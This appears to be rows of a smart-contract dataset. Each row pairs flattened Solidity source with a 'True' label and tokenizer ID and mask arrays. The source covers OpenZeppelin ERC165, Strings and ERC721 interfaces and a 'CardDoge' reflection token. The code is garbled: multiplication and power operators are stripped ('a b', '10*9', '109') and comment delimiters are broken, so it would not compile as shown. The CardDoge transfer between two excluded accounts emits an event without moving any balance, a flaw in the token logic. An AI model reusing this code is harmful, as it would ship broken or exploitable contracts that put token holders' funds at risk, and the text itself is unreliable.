size; assembly { size := extcodesize(account) } return size > 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 / interface IERC721Metadata is IERC721 { /* * @dev Returns the token collection name. / function name() external view returns (string memory); /* * @dev Returns the token collection symbol. / function symbol() external view returns (string memory); /* * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. / function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. / event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /* * @dev Returns the number of tokens in ``owner``'s account. / function balanceOf(address owner) external view returns (uint256 balance); /* * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function ownerOf(uint256 tokenId) external view returns (address owner); /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. / function transferFrom( address from, address to, uint256 tokenId ) external; /* * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. / function approve(address to, uint256 tokenId) external; /* * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. / function getApproved(uint256 tokenId) external view returns (address operator); /* * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. / function setApprovalForAll(address operator, bool _approved) external; /* * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} / function isApprovedForAll(address owner, address operator) external view returns (bool); /* * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1021, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 3206, 28855, 15879, 29040, 2003, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1010, 2219, 3085, 1063, 5164, 2270, 2918, 9496, 1025, 4769, 2270, 24540, 2890, 24063, 20444, 14141, 8303, 1025, 4769, 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/* Website: carddoge.com Telegram: https://t.me/joinchat/fOwQ6ZFKcSs0Njhh Twitter: https://twitter.com/carddoge1 / pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract CardDoge is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 10*9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'CardDoge'; string private _symbol = 'CDoge'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 50000000000 109; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 102 ); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 4037, 1024, 4003, 16168, 2063, 1012, 4012, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 3693, 7507, 2102, 1013, 1042, 5004, 4160, 2575, 2480, 24316, 6169, 2015, 2692, 2078, 3501, 23644, 10474, 1024, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 4003, 16168, 2063, 2487, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 2590, 1024, 2022, 8059, 2008, 5278, 2019, 21447, 2007, 2023, 4118, 7545, 1996, 3891, 1008, 2008, 2619, 2089, 2224, 2119, 1996, 2214, 1998, 1996, 2047, 21447, 2011, 15140, 1008, 12598, 13063, 1012, 2028, 2825, 5576, 2000, 10210, 28731, 2023, 2679, 1008, 4650, 2003, 2000, 2034, 5547, 1996, 5247, 2121, 1005, 1055, 21447, 2000, 1014, 1998, 2275, 1996, 1008, 9059, 3643, 5728, 1024, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 3277, 9006, 3672, 1011, 25246, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 